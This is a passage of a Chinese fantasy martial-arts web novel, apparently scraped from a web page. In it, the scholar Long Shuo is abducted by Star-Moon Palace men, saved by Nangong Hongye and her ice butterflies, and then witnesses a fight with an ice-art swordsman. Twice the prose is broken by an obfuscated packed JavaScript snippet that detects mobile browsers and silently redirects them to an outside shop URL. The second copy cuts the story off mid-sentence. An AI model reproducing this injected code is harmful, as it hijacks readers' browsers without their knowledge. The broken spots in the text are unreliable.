龙烁听不懂他们在说什么,但听两人声音清脆,显然都是二十上下的年轻人,跟自己差不多大年纪,于是高兴道:“两位——大哥,你们是——是谁?要带——带我去哪?”,他的声音因颠簸变得忽高忽低,时断时续。 龙烁身前这人说道:“你乖乖听话,咱们不会为难你,如若不然——” “鬼星主,不必跟他多说——”,那个叫作柳星主的红衣男子道。 “原来这人姓鬼,好奇怪的姓氏!”,龙烁一边想着,一边挣扎着吼道:“我不会——武功,也——不会法术,我身上的——钱——随你们——拿走!” 一条马鞭抽到了龙烁的屁股上,声音响亮刺耳,疼得他脸都变了形。龙烁顿时火冒三丈,想破口大骂,但随即又忍住了,他想了想还是觉得好汉不吃眼前亏,不然嘴上痛快一下,身上就要疼半天。 龙烁心想:“他们不想回答!大概率是替人办事或者是听人差遣,现在已是正午,估计你们快吃饭了吧,一会儿我见机行事,看看能不能偷偷跑掉——” 果然,又行了大约一炷香的时间,他们停在了一条小溪旁,那柳星主率先翻身下了马,他抄起水袋便往溪边走去。 始料未及,龙烁突然被身旁这个姓鬼的男子一脚踢下了马,他屁股吃痛,“哎哟”一声惨叫道:“大哥你轻点啊!” “别喊了,咱们已经是对你客气了!”,那鬼星主说道:“要不是看你长得俊俏,咱们就直接给你下咒了!” 龙烁向来不注重外表,也从未觉得自己长得俊俏,但是一听这话还是暗自窃喜,心中默默感谢父母赐予的这幅皮囊,让自己免去一次被下咒的折磨,虽然不知道他们会使什么厉害的法术,但听起来不像特别好受的样子。 “长得俊俏就可以免受折磨?莫非他们是有什么龙阳之癖、断袖之好?”,龙烁想了想,心道:“哎,算啦,大丈夫能屈能伸,先解了绑再说!”,于是客气道:“谢谢这位大哥,你们喜欢我也不用把我绑起来啦,这样有什么好玩,我又不会什么武功法术,也无力反抗,要不,你们先帮我解个绑,我再好好陪你们玩?” “谁要跟你玩了?咱们是抓你回去交差!”,鬼星主说着把他拖靠在一棵大树下,扔给他了一块面饼道:“快点吃,吃完继续赶路!” “交差?交什么差?给谁交差?”,龙烁急问道。 两人听他说不会武功术法,于是放松了些警惕,都不再理会他,各自去小溪边洗手洗脸,准备吃饭。 “哎,失误失误,自己还是沉不住气,行事太过莽撞心急,应该想个办法套他们的话才是!”,龙烁一边吃着干硬的面饼,一边思索逃生法子。 他摸摸口袋里有什么工具能把手脚上的麻绳割断,找来找去也没找到什么,于是叹气道:“要是古兄在这里就好了!” 当他四处张望看看有什么可以利用的资源的时候,龙烁突然发现西北方向有几朵不知名的野花藏在草丛里。 这些花开得格外娇艳美丽,洁白中还嵌入了一点粉红、一抹淡紫,俏皮典雅、温婉大方。 龙烁向来是很喜欢赏花养花的,不管什么样的花只要让他栽培都会生长得十分茂盛,尤其遇到这种罕见的奇花时他绝对是要上前好好欣赏一番的,可是不管他怎么挣扎,始终挣脱不掉手脚上的绳索,于是便朝那两个红衣男子大喊道:“喂,两位大哥,快给我解绑,我要去看一下那几朵花!放心,我不跑!” 那两名男子看了看他,相继露出了嘲笑的表情,然后继续吃起饼来,任凭龙烁再怎么喊叫也不去理会。 喉咙都快喊破了也没人来帮忙,龙烁心中叹道:“花朵啊花朵,你们开得这么美丽,可我现在没有办法欣赏你们,这不是浪费吗,不知是你们的悲哀还是我的悲哀,是应该怪你们不该此时盛开,还是应该怪我不该现在才来啊!”,他思来想去,暗道:“既然没法欣赏你们,那就写一首词来送给你们吧!”,酝酿了不一会儿工夫,龙烁脑中便浮现出了这一首词,只听他轻声吟道: 卜算子·花开香无主 林间叶撩拨 叶落花羞涩 欲上前来嘘暖寒 却遇东风恶 婀娜意难言 馥郁香易没 或道花开终非时 也道人来错 正在这时,一只银白色的蝴蝶从那几朵花中探出了身子,翩翩然飞到龙烁身旁,在他面前盘旋飞舞。 龙烁从未见过这种蝴蝶,它通体白得近乎透明,翅膀薄得像是冰做的。他看得呆了,不敢做大动作,生怕把它吓走,也不敢去碰它,怕一碰到它就融化了。于是轻轻地小声道:“好美丽的蝴蝶!原来你也喜欢那些花儿啊,这样再好不过啦!我就不用担心那些花儿寂寞无聊啦,而且你这么圣洁美丽,实在好过我这个凡夫俗子过去冒犯它们了!” 话还没有说完,这只奇异的蝴蝶便轻快地飞远了。 龙烁十分自责自己吓到了它,便喊道:“你别害怕,我不会伤害你的!” 那两名红衣男子听到龙烁的喊叫声,立马跑过来查看,那鬼星主怒斥道:“小子老实点!” “两位大哥,请你们先把我放开,我要去追那只蝴蝶!”,龙烁恳求道。 “臭小子,你一会儿看花,一会儿追蝶的,咋跟个娘们似的!”,那柳星主讽刺道:“你若敢再多说一句话,我让你尝尝索心术的厉害!” “索心术?那是什么法术?”,龙烁好奇道。 柳星主嘴角一勾,说道:“这是我们专门用来对付不听话的人的法术,要不让你感受一下——” 未及躲闪,龙烁心脏处已经被什么东西重重地击了一下,只见那两个红衣人轻蔑一笑便转过身继续去吃饭了。 龙烁心知自己应该是中了那人说的什么索心术,他赶紧撩开衣襟,发现心脏处倒并无伤口,这才放心下来。 起初并没什么感觉,但随之而来的便是一阵寒冷,旋即心脏处开始莫名其妙地一阵剧痛,紧接着四肢百骸便感到一阵放射般的隐痛,并且那隐痛感正在一点点地不断加深。 过了一会儿,疼痛变为麻痒,便如有成千上万只蚂蚁在身上不住啃食。 只听那两人嘀咕道:“差不多就行了,莫得再整死他了——” “嗨,整死了又怎么样,再抓个新的不就行了——” 龙烁苦于手脚被绑不能动弹,全身麻痒得厉害也不能抓挠,而这又疼又痒的感觉实在难受,他只能倚靠在树干上来回摩擦,待到实在难以忍受的时候便挣扎着倒在了草地上。 他双手紧紧捂着心脏,眉头紧皱嘴巴微张不住喘息,不但身体难受得紧,内心也莫名地痛苦,身体加心理的双重摧残折磨得他泪如雨下。 “难道我龙烁今日就要毙命于此?”,龙烁十分不甘心,又想:“我自己都还没有成家,跟父亲也未来得及道别,难道就要在这曝尸荒野?我招谁惹谁了啊!” 正在他痛苦得满地打滚时,忽听不远处有刀剑相击之声。他勉强睁开眼睛,朦胧间看到了一个红衣女子正在与那两名红衣男子争斗,心中暗道:“怎么他们自己人打起来了!” “好难受!”,龙烁自觉马上就要撑不住了,低声呻吟道:“救——救我!”,说完他便昏晕了过去。 像是过了一会儿,龙烁慢慢睁开了眼睛,朦胧间他发现自己躺在一个幽暗的树洞里,身上还盖着一块豹皮做的单子。 不远处生起了一堆火,烘得周围暖洋洋的。一件浅青色外衣被挂在树枝搭起的架子上烤着,他看了看自己的身体,果然只穿着贴身的白色中衣,心道:“是谁救了我?”,他回想刚才心脏之处疼痛难忍,现在却已经不疼了,只是身子还很虚弱,口渴得紧。 “难道我中的索心术被解除了?”,龙烁心中疑惑,他反复摸着胸口,确认已经没事了,于是十分开心,感觉像重生了一样,双手合十道:“谢天谢地,多谢菩萨保佑!”。想着之前不知天高地厚,不懂江湖险恶,以致被恶人掳走折磨的种种遭遇,他下定决心以后行事一定要小心谨慎,不可再任性胡闹了! 龙烁又是一阵口渴,他四处看了看,除了乱石和杂草再无其他,于是打算出去弄点水喝。 他身子还很虚弱,刚一站起来,便感到一阵晕眩,下盘不稳,险些栽倒,于是赶紧扶着树壁,穿上了外衣,慢慢往外走去。 他一出树洞,发现自己还是在这片深山老林中,只是现在已是深夜,暗暗惊奇原来自己已经睡了不短的时间。 他凝视周围,四处一片黑暗,除了秋蝉和蛐蛐的鸣叫之声此起彼伏遥相呼应外,再听不到别的声响。 今日乃是八月十四,临近月中望日,虽然天上群星璀璨,月华如水,但都被密布的树木枝叶挡了起来,林中一片漆黑阴暗,稍远点的地方便很难看得清楚。 他小心翼翼地往前走着,期间不停地用胳膊隔开挡住去路的杂草,腿上不断地被植物的小刺划破,他小心翼翼地躲避着那些不知从哪里冒出来的古怪虫子,感叹着这里虫多草多遍地荆棘,可以说是举步维艰寸步难行,确实不如家乡平原地带那样一马平川,走起路来甚是痛快! 过不多时,龙烁突然发现前方不远处传来了亮光,心想莫非有人在附近?但是这光亮呈银白色,又不像是火光,让人感觉十分诡异,心想莫非有什么幽灵鬼火之类的物什?他想到此处全身发颤四肢发麻,转身便要往回走。 因为走得急了,他不小心踩到了树根,一个踉跄,跌倒在地,弄出了很大声响! “谁?”,一个清脆的女子声音喊道。 这时,一只银白色的蝴蝶从一棵粗壮的树干后面闪现出来,它身上发出银白色的光,照亮了龙烁周围一大片的地方。 这正是龙烁白天见到的那只蝴蝶,原来它在黑夜中竟如此美丽。只见它优雅地飞舞到龙烁面前盘旋了几下,又在另一棵树后面隐没了。 “等一下!” 龙烁匆忙起身追了上去,当他拨开一丛灌木向里张望时,眼前的景象让他惊呆了。 只见前面树林中央出现了一片空地,成百上千只银色蝴蝶漫天飞舞,它们像萤火虫一样将这里照得如同白昼。 空地中央一个红衣少女宛如鸟儿一般在空中飞舞,她背对着龙烁,银蝶欢快地在她的周围翩然而飞。 一只银蝶忽然横穿而过,在那少女耳畔停留了一会儿便即飞走了,那女孩突然停下脚步,期到左首两棵大树的树干之间坐了下来。 她双脚仍是凌空的,仿佛空中有一把无形的座椅一样。 那女子落座之后,周围的银蝶也停在原地扇动翅膀,只听她温柔地问道:“你醒啦?” 龙烁眼睛睁得大大的,不敢相信眼前的一幕,心想这是花仙子吗?为什么可以漂浮在空中,似乎还可以随意挪动,仿佛那里有一张无形的床似的。 只见那女子一跃而下,轻快地跑到龙烁面前,拿出一个牛皮水袋道:“渴了吗?给——” 龙烁接过水袋,但没有马上打开,只是呆呆地盯着这姑娘看。 这姑娘身形曼妙、肤如凝脂,她的眼睛大大的、水灵灵的,看起来比龙烁要小几岁。 女孩见龙烁不喝,说道:“没有毒!我要是想害你的话,又怎么会救你呢?” “是姑娘救的我?”,龙烁惊讶道。 “不然呢,这深山老林中哪里还会有其他人呀!”,女孩说着羞涩地转过身回到了刚才的地方。 龙烁打开水袋的盖子猛喝了几口,完了将盖子拧好,走到女孩面前,递还给她道:“多谢姑娘的救命之恩,不知为什么,我的确口渴得很!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231100|197615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “因为你流了很多眼泪,把你的衣服浸湿了一大片呢!”,女孩嘲笑道:“一个大男人在那里痛哭流涕的,嘿嘿,羞不羞!” “啊,那个——”,龙烁尴尬道:“我是中了什么索心术了!身子又疼又痒,心里还难受得很,所以没控制住!那个——我以前从来不哭的——” 女孩看龙烁紧张的样子,扑哧一下子笑出了声,说道:“我知道呀,我在跟你开玩笑呢!这段时间星月宫的人一直在四处抓捕年轻男子来扩张他们的势力,你所中的索心术就是他们的独门秘术——” “星月宫?没听说过,但这索心术真的是阴损得很!”,龙烁一想起那疼痛的感觉就不自觉的浑身打颤。 “这种法术确实阴毒得很!中术之人起初只是心中疼痛,而后便是全身又痛又痒,中术之人难以承受,往往会抓得自己全身溃烂、面目全非,最后因失血过多而死!”,那女孩说道。 龙烁突然想到在巫山“仙人酌”酒肆中听到那些江湖人士讨论的话,说那名白衣男子的死状就是这样,暗想莫非是这星月宫的人干的! 想到这里,龙烁顿时生出一身冷汗,拱手说道:“多谢姑娘及时相救,不然我现在说不定就已经死得惨不忍睹了——” “他们应该只是小惩你一下,并不是真想杀你的!” 此时,有两只银蝶飞落到了龙烁的手上,触手冰冰凉凉的感觉甚是舒服,龙烁动也不敢动,就一直保持这个感谢的姿势,好奇地问道:“这银蝶是姑娘养的吗?” “不错,这是冰蝶,救你也有它们的功劳,你得感谢它们!”,女孩从胸口的衣袋中取出一个小瓷瓶,拔掉瓶盖往手中倒出几滴水一样的液体,那两只银蝶便忽地飞到她手中贪婪地吮吸起来。她指着手上的蝴蝶笑道:“若不是它们给我通风报信,我不可能那么快及时赶到!”,她说着又从怀中取出了一块粉红色的手帕摊开了给他看。 龙烁接过手帕定睛一看,这手帕上写得有字,正是他随口吟诵的那一首词。 “这是我的冰蝶读给我的,我就把它记录了下来,它们说这是你写的,是真的吗?”,女孩兴奋地问道。 “啊,是,我随口一吟,让姑娘见笑了!”,龙烁挠了挠头,忽然好奇的问道:“你能听懂这些冰蝶的话?” “嗯,是啊!”,女孩将手帕叠起来收进怀中继续说道:“我叫红叶,复姓南宫,我南宫氏的蛊灵之术你肯定听过的,我们常与动物交流,善于解意,但是目前,修习蛊灵之术还只得专注于一种动物,所以我选择了这罕见又美丽的冰蝶,这就是为什么我可以跟它们对话的原因,明白了吗?” “啊,原来如此!”,龙烁恍然大悟,又问道:“姑娘你给它们吃的是什么东西?玉液琼浆吗?” 红叶扑哧一笑,说道:“那是朝花之露,是我亲自去山野里采集的,你总得有拿得出手的东西来招待它们是吧?不然它们怎么肯心甘情愿地替你干活?”,红叶向龙烁上下打量一眼道:“你叫什么名字?” “啊!”,龙烁回答道:“在下姓龙名烁,字天何!” “天何?天奈我何!好狂妄的名字啊!” “非也非也,你瞧我长得虽然不弱,却是个货真价实的文弱书生,不会半点武功,术法造诣也颇为浅薄,所以我这天何二字,姑娘不能这么理解!” “哦?那应该怎么理解?” “额——”,龙烁从没问过父亲给自己起这个名字的原因,他思索片刻,说道:“呃,我觉得人生在世,有很多事是我们没办法控制的,破除执念、顺其自然,也算是一种洒脱,是一种人生态度吧!所以姑娘可以把我的字理解为‘天可奈何’——” “呵!”,红叶笑道:“这倒有趣!” 龙烁问道:“你姓南宫,那么南宫盈是你的?” “他是我爹爹啊!” 龙烁大喜道:“哦哦,我见过南宫啬,那是你哥哥吗?” “哦!”,红叶撇了撇嘴道:“我那个傻哥哥啊,他是我同父异母的哥哥,脑瓜笨得很,我时常觉得他什么时候就要被自己笨死啦——” 龙烁微微一笑,知道她是在开玩笑,随即又问道:“那么古辰兄想必你也认识了?” “咦?你也认识他?他是我四师兄,我是他的师妹——” 龙烁急切地点了点头。 “近日我们听说诛心术再现江湖,父亲派他和哥哥去追查真相了,过几日便会回来!” “啊,呵呵,原来如此!”,龙烁暗想原来古兄出门办事正巧与我相遇,等他办完事回来说不定我二人又会再次相遇,到时便可继续与他畅饮。 他想到这里心中一喜,高兴道:“姑娘如冰蝶一样温婉善良、美丽大方,我应该怎么称呼你才是呢?” 红叶露出了羞涩的神情道:“你比我大,你叫我红叶就好了!” “啊,好,红叶姑娘!” 红叶又问道:“你姓龙,龙氏追风术天下闻名,你会不会使?” “啊,惭愧,锥风术难学得紧,我又不喜打打杀杀,所以至今尚未学会呢!”,龙烁说道:“啊,红叶姑娘,我看你刚才在空中跳舞,又凌空而坐,那是什么功夫?” “那不是什么功夫啊,那是我的冰蝶用它们的冰蝶蚕丝载着我在空中跳舞,蚕丝极细,近乎透明,所以看起来我像是飞在天上一样,其实并不是的!至于这个冰丝帐嘛,也是用冰蝶蚕丝制成的!”,红叶说着走到两棵大树中间,往上一跃,又坐到了半空中说道:“冰蝶蚕丝遇水不化,遇火生光,稀罕得紧,你没见过吧?” “冰蝶蚕丝?好神奇啊!”,龙烁睁大眼睛去看红叶所说的物事,却是什么也看不见:“这冰丝帐是隐形的吗?怎么看不见呢?” “不是啊,在这呢,你上来仔细看看,我拉你!”,红叶说着便要拉龙烁上来。 “不成,不成,我太重了,会把你的冰丝帐压坏的!” 龙烁急忙闪躲,他暗想,这八成又是什么奇怪的法术,自己又不会使,再摔个跟头就很丢人了。 “不会的,上来吧,没事的!” 红叶跳下来抓住了龙烁的胳膊,纵身一跃,两人都坐了上去。 龙烁大惊,吓得四处乱抓,却发现片刻间自己已经稳稳当当地坐在了一个绵软的物什上面。 他抚摸了一下,手感冰凉丝滑,他低头仔细一看,竟发现身下是一张白的近乎透明的薄纱,呈长方形状,薄纱的四角分别连着一根细的几乎看不见的蛛丝一样的线,它们一直延伸到附近的树干上。 原来这里的确有一个吊床,只是不仔细看的话就很难发现而已。 只听红叶咯咯笑道:“看不出来,原来龙烁哥哥胆子这么小呀!” 龙烁不好意思道:“红叶姑娘,实不相瞒,我不太会功夫和法术,也没见过这些稀奇古怪的东西,所以比较害怕!” “哈哈,没关系,在我的地盘,我来保护你!还有啊,你以后叫我红叶就好啦,后面不要带''姑娘''两个字!”,红叶脸蛋一鼓,小嘴一撅,十分俏皮可爱。 “啊,好,那个,红叶,你说这是你的地盘?”,龙烁询问道:“这到底是哪?” “这里是锦官城东的密林啊!我家就在城里,这可不就是我的地盘吗!” 4. 路见不平 “啊,原来我已经走了这么远!”,龙烁心想:“古兄到处找我不到,肯定十分着急了。还有我的仙人酌,我还没喝够呢!可恶啊!”,想到这里,龙烁气愤地往床上一锤,这冰丝帐竟然如水一样随着他的拳头波动了一下,然后又恢复了平静,心中暗惊这冰蝶蚕丝果然不一般。 “那两个红衣人为什么带我来这里呢?”,龙烁问道:“这星月宫到底是什么来头?” “这星月宫具体地址十分隐秘,没人知道,据说是在一座叫青晷峰的山峰上。星月宫宫主洪山雪法力高强,他统领的二十八星部包括东方、西方、南方、北方七部,分别由青龙、白虎、朱雀、玄武四位星首统领,而每个星部又有一位星主带领众多星君,形成庞大的星月宫系。最近他们正在竭力扩张势力,抓你的这两个红衣人就是南方七部的星首、朱雀星君叶子规的手下!如果我没有及时救你,你现在可能已经是他的人啦!”,红叶俏皮地说道:“你能遇到我,是不是感到很幸运呀?” “当然当然!”,龙烁感激道:“可是我武功法术很差的,他们抓我有什么用啊!” “他们选定星君的标准非常奇怪,只要长得俊俏就行,越是武功不好的,他们越是乐意收容,你说这是什么道理!”,红叶小嘴一撅,愤怒地说道:“我们蜀地盛产俊男美女,有好多百姓家都糟了殃!” 龙烁看到红叶轻嗔薄怒的表情,赞许道:“这话倒是不错,正如红叶这样娇美可爱的女孩子,我的确很少见!幸亏他们不抓美人,如果要是连美人也抓,我看你多半也是跑不了的——” 红叶羞红了脸,她转过身去埋怨道:“龙烁哥哥再这样口无遮拦,我就不理你了!” “啊,我不说了不说了!”,龙烁跳下了冰丝帐说道:“红叶,时间已经很晚了,你早点休息吧!你把这个冰丝帐再往高挂一点,应该会更安全——”,他说着跳下冰丝帐朝来时的路走去。 “你要去哪?”,红叶急忙道。 “我回树洞去!” “傻瓜!树洞才不安全呢,晚上最容易招虫子野兽啦!” “啊?”,龙烁想了想,觉得自己虽然害怕野兽,但是更害怕虫子啊,那也总不能跟红叶姑娘一起睡在这冰丝帐上吧,这成何体统呢!于是硬着头皮道:“那个,没事,我不怕!”,他说着便走到了空地边上的一片灌木丛,正准备拨开挡路的野草时,突然被一股大力使劲往后一拉,整个身子便一下子飞到了半空中。 他吓得猛一回头,只见红叶正在做回拉的动作,暗想莫非这是隔空取物之术?红叶的武功竟如此高强! 正想着,他已经被拉到了红叶的冰丝帐上,几乎与红叶的身子挨到了一起,他心中一荡,连忙道:“红叶姑娘,我,我不能在这睡!” “你就在这睡!”,红叶指着空地的另一边说道:“我再做一个冰丝帐,我在那边睡!”,她说着手腕一翻,手指往空中一戳,整个人便飞到了对面的空地上。 龙烁这才明白原来她是用细的几乎看不见的冰蝶蚕丝将自己拽过来的。 只见红叶在那边的一小块空地上东拉西拽、指指点点,绕着一块床一般大小的地方跑来跑去,不一会儿功夫,又回到龙烁身边,扔给他一块豹皮单子道:“我那边弄好啦!龙烁哥哥,你也早点休息吧,过两天我带你去个好玩的地方!” “好——”,红叶转身回到自己的冰丝帐前随手一挥,那漫天飞舞的冰蝶便纷纷飞到大树之后隐没了,这片空地瞬间恢复了往日的漆黑与宁静。 二人各自躺到各自的冰丝帐上后,龙烁回想今日离奇的遭遇,感觉十分不可思议,过了许久,才渐渐睡去。 翌日,当清晨的第一缕阳光透过树叶的缝隙打在龙烁的脸上时,他慢慢睁开眼睛坐了起来。他发现红叶此时还没有醒来,便考虑先去打个野鸡或者抓条鱼烤来给红叶姑娘当早餐吃,于是他取了牛皮水袋喝了点水,而后蹑手蹑脚地离开了这片空地。 草木葳蕤,龙烁拨草弄叶走了好久也没发现什么野鸡,却因为地面凹凸不平而栽了好几个跟头。后来他终于找到一条小溪,但是溪水太过清澈了,里面一条鱼也没有。他把水袋灌满水后便洗了一把脸,水光映照下,他发现自己的衣服上竟然满是泥土,突然想起来刚才摔跤的地方似乎长了几棵粗壮的果树,上面还结了不少果子,决定先去摘点野果充饥,莫得让红叶姑娘等得太久了。于是他又折返回去找到了那片果林,费了很大功夫终于爬上了其中一棵最高的果树。 树上结满了果子,个头不大,形似梨子,却是黄色的,龙烁在北方没有见过这种果子,他摘下来一个尝了一口,虽不甚甜,但水分十足,清爽可口,于是他摘了很多揣进怀里,准备回去拿给红叶吃。 金秋时节,清晨的树林里雾气缭绕,清风送爽,野草的芬芳沁人心脾。一眼望去,这深山老林竟然大的望不到边际,龙烁顿时想起了苏子瞻的那首《题西林壁》中的诗句“不识庐山真面目,只缘身在此山中”。于是感叹自己所处的位置可算得是:“不识密林真面目,只缘身在此林中了!” 龙烁摘完果子正打算爬下树去,突然空中一声爆竹巨响,把他吓得一个哆嗦,他抬起头来四下里张望,却发现东北方向不远处赫然出现了一小片竹林,林中一个身穿白衣的男子正在与两名红衣男子打斗。 因为离得太远,龙烁听不到他们武器碰撞的声响,但是他心里明白,一定又是那朱雀星君的手下在强抢民男了,他心中怒道:“光天化日之下这还了得?简直是没有王法了!” 龙烁赶紧爬下树来,朝着东北方向急奔而去,到得近处便放慢脚步一点一点匍匐前行,却听到一阵尖锐的碰撞之声从东北方向传来,这声音清脆悦耳,不像是普通刀剑的相击之声。 他找了一个合适的地方偷偷查看,只见那名白衣男子一身束腰锦衣,颀长的身躯武动起来潇洒飘逸。那男子背对着这边,龙烁看不到他的表情,但从他武功身法来看,对付这两个红衣男子显然是不费吹灰之力的。 这白衣男子手中所拿的宝剑通体透明,像是水做的,又像是冰做的,偶尔还冒着白色的烟气,打斗过程中不断有白色剑芒射出,将周围的花草树木扫断了一大片。 龙烁正看得入神,突然感到背后被什么东西戳了一下,吓得他险些叫出声来,还好被那人用手捂住了嘴巴才没有暴露行踪,他定睛一看,原来是红叶姑娘。 红叶蹲下身来跟他一起躲在草丛里低声问道:“你在这里做什么?” “你看前面那个白衣人,他也被朱雀星君的手下盯上啦!”,龙烁嘘声道:“不过我看这两人打他不过,应该不会有什么事情!” 此时其中一名红衣人已经受伤倒地,而另一名红衣人看起来也快招架不住了。 “我看未必!”,红叶小嘴一撇,轻声说道:“你没有听到刚才的爆竹声响吗?那是星月宫的求救信号,他们搬救兵来啦!我怕你又遇到麻烦,所以过来看看,没想到你真在这里!” 闻声,龙烁一惊,果然,突然一下子从东西两个方向冒出来一大批红衣人。龙烁数了数,至少有三十多个。他们将这白衣男子围在中间,之前跟他打斗的那两个红衣人也顺势退到了同伴的阵营当中。 见状,那白衣男子收起佩剑,静静地环视着这群陌生人。 “你干嘛不辞而别?”,红叶秀 眉微蹙,生气地责怪道。 龙烁急忙解释道:“我没有,我是来给你找吃的——”,他说着从怀中拿出来几个刚摘下的新鲜野果递给了她。 红叶顿时羞涩地问道:“哪里来的琵琶?”,她接过野果,从怀里掏出一块红色手帕,擦了擦,把皮一剥,便小口小口地吃了起来。 “后面不远处有很多这种果树,原来这就是琵琶啊!我在书中读到过这种水果,不过却头一回见,呵呵,果然长得有点像琵琶!” 此时,那白衣男子不知从什么地方拿出来一把瑶琴摆在了面前,这瑶琴包括瑶琴下面的支架都跟他刚才使用的剑一样,通体透明,散发着阵阵烟气。 周围的红衣人见势都不敢轻举妄动,双方就这样僵持了一会儿。 “我们得想个办法救他!”,龙烁看着那白衣男子被围在正中央,关切地说道。 “怎么救?我可打不过他们这么多人!”,红叶皱眉道:“上次为了救你跟那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“燕氏寒冰术?”,龙烁惊奇道:“这个我听父亲说过,据说山西燕氏有一种独门秘术,他们以千年寒潭之水的寒气贮于体内,危险来临时他们再将体内寒气逼出,可使周围空气的水分凝结成冰,化成冰箭或其他利器用以对敌,更神奇的是,这些冰箭杀人之后冰化为水,死者竟不流一滴血,可以说是杀人于无形!你是说——这白衣男子使用的便是寒冰术法?” “对呀,你看他一身紧衣,哪有藏冰剑和冰琴的地方啊,那不是现做出来的嘛!” 龙烁恍然大悟,顿时对这白衣男子佩服得五体投地。他暗想:“相比古兄和这白衣男子的独门秘术,我龙氏锥风术可化风成形,那也是名闻天下的厉害法术,奈何我自己太不用心,竟然学了很久也没领悟到其中精要,十次施术九次无果,想当年父亲关我禁闭,让我好好钻研学习,我却偷挖地洞跑出去玩耍,父亲恨子不成才而大发雷霆,将我打得丢了半条命,现在想来,终于理解父亲当时恨铁不成钢的心情了!在这世界上,果然强中自有强中手,一山还比一山高!” “看来咱们真没必要为他担心了!”,龙烁阴沉着脸说道,语气酸酸的。 红叶听他语气不大对劲,看了看他的神色似乎有些忧伤,于是打算想个办法哄他开心一下。她眼球一转,便想到了一个主意,说道:“龙烁哥哥,要不我带你过去戏弄他们一下,反正咱们是站在白衣男子这一边,你看他打这些人也并不费力,有他在,咱们也是安全的!” “啊,这怎么行?你不要胡闹啊红叶——”,龙烁拦住她道:“咱们过去了,还要连累那白衣男子分神保护咱们,那不是添乱嘛!” “没关系的,他们打了那么久也该累了,正好让他们休息一下啊!”,红叶挠了挠头,俏皮地说道:“我给咱们先易容一下,不然那些臭男人看到你,又要打你的主意了!” 龙烁听这话感觉怪怪的,暗想一般不都是男人打女人的主意嘛,什么时候男人也成为猎物啦,这是什么世道! 只见红叶两手放到胸前,她左右手抱拳后拇指和食指相交,口中兀自念了个诀,旋即“砰”的一声轻响,龙烁便感到自己全身被什么东西使劲挤了一下,随后竟发现红叶已经变成了一个衣衫褴褛、又老又丑的老太婆。 龙烁暗想莫非自己也已经被易容成了一个老头子了?他低头一看,顿时吓了一跳。 只见自己破旧的衣衫上面处处打着补丁,佝偻的身躯下面胯部逐渐变宽,腰身逐渐变窄,前胸慢慢突起,屁股忽然变大,身材与红叶所变的老太婆一般无异,他赶紧摸摸下面,命根子已然不在,他不禁大惊失色,放声喊道:“胡闹,胡闹,你怎么把我也变成了一个老太婆!” 5. 青龙星君 红叶嘘声道:“这是乱真易容之术!障眼法而已,只是表象,没事的!” “可是——” 红叶赶紧捂住龙烁的嘴,作势让他小点声。 然而已经来不及了,正在打斗的那群人听到了龙烁的喊叫声,停止了攻击。 那白衣男子并未回头,却也收住了琴弦。清冷的琴音戛然而止,似乎也在好奇是谁在那边。 “什么人鬼鬼祟祟的!”,其中一个红衣男子大吼道:“滚出来!” 七八个已经被那白衣男子打倒在地的红衣人趁机赶紧站起来退到了后面,其中三个人朝这边走来。他们一边走,一边用长剑横扫杂草灌木,口中不停地叫嚣:“再不出来我们就把这里荡平!” 龙烁和红叶蹑手蹑脚地走了出来,三个红衣人看到是两个老态龙钟的婆婆,于是放松了警惕,一人大喊道:“臭老太婆,你们躲在这里做什么,挖坟么?” 有几个红衣人听到后哈哈大笑起来,一人吼道:“快点离开,不然对你们不客气了!” 龙烁拉着红叶打算快点从他们旁边绕过去,赶紧离开这个是非之地,却发现自己的腿脚突然不听使唤,步子捣腾得飞快,就是不怎么往前挪,暗想原来人老了是这种感觉啊!真是有苦说不出!他看看红叶,同样也是这样。 一群人就这样看着他两人蜗牛似的蹒跚而行,离他们最近的这个红衣人举起长剑恐吓道:“走快点,别耽误大伙时间!” 龙烁心中暗骂道:“你们这些人着急投胎么?看来你们根本不知道自己面对的是什么人,燕氏寒冰术杀人不见血,常常是一招毙命,若不是这白衣人手下留情,你们岂能只是受轻伤而已!” 两人从白衣男子身旁走过时,龙烁侧头瞥了他一眼,发现这人貌比潘安面如冠玉,竟然长得十分俊秀,清冷的脸庞没有一丝表情,完全看不出此时他在想些什么。 “看什么看,不想活了?” 跟在龙烁二人身后的这名红衣人挥动长剑朝龙烁袭来,在他那剑尖即将要划过龙烁的后背时,这人却突然莫名其妙地右脚一抬,仰天摔了个跟头。 其他红衣人以为是那人不小心自己摔倒了,都哈哈大笑起来。红叶也笑了起来,看着她贪玩胡闹的样子,龙烁也忍不住笑了出来,他心知这一定是红叶用她的冰蝶蚕丝捣的鬼。 另一名红衣人走上前来呵斥道:“再笑,再笑割掉你们的舌头!” 然而,话音未落,他也仰天绊了个跤,其他红衣人这才警觉起来,大家都以为是那白衣男子在捣鬼,于是都把剑尖指向了他,却发现那白衣男子根本没有任何动作,只是神情漠然地看着这两个老太婆。 说时迟那时快,又有三名红衣人同时仰天绊了个跤,就好像有无形的手在拉扯他们一样,有几个红衣人吓得挥剑乱砍乱削。 红叶凑到龙烁耳边问道:“龙烁哥哥,嘿嘿,好玩吧?” 龙烁听到一个老婆婆的声音在自己耳边叫自己龙烁哥哥,浑身不自觉地打了个寒颤,苦笑道:“好,好玩!” 正玩得兴起,突然一声轻啸从上方传来,只听一人大喝道:“一帮废物!” 红叶大惊:“糟糕!” “怎么了?”,龙烁问道。 只见一个中年男子从天而降,他那一身红衣镶着金边,胸前刻有一只朱雀图腾,肩头处勾勒着麟羽和祥云,整个人看起来高贵而华丽,他落到这片空地的中央后慢慢转过身来,轻蔑地看着这里所有的人。 “拜见朱雀星君!”,红衣人集体跪拜,大声喊道:“属下办事不力,请星君责罚——” “嗯!”,那红衣男子说话的语气慵懒轻柔。 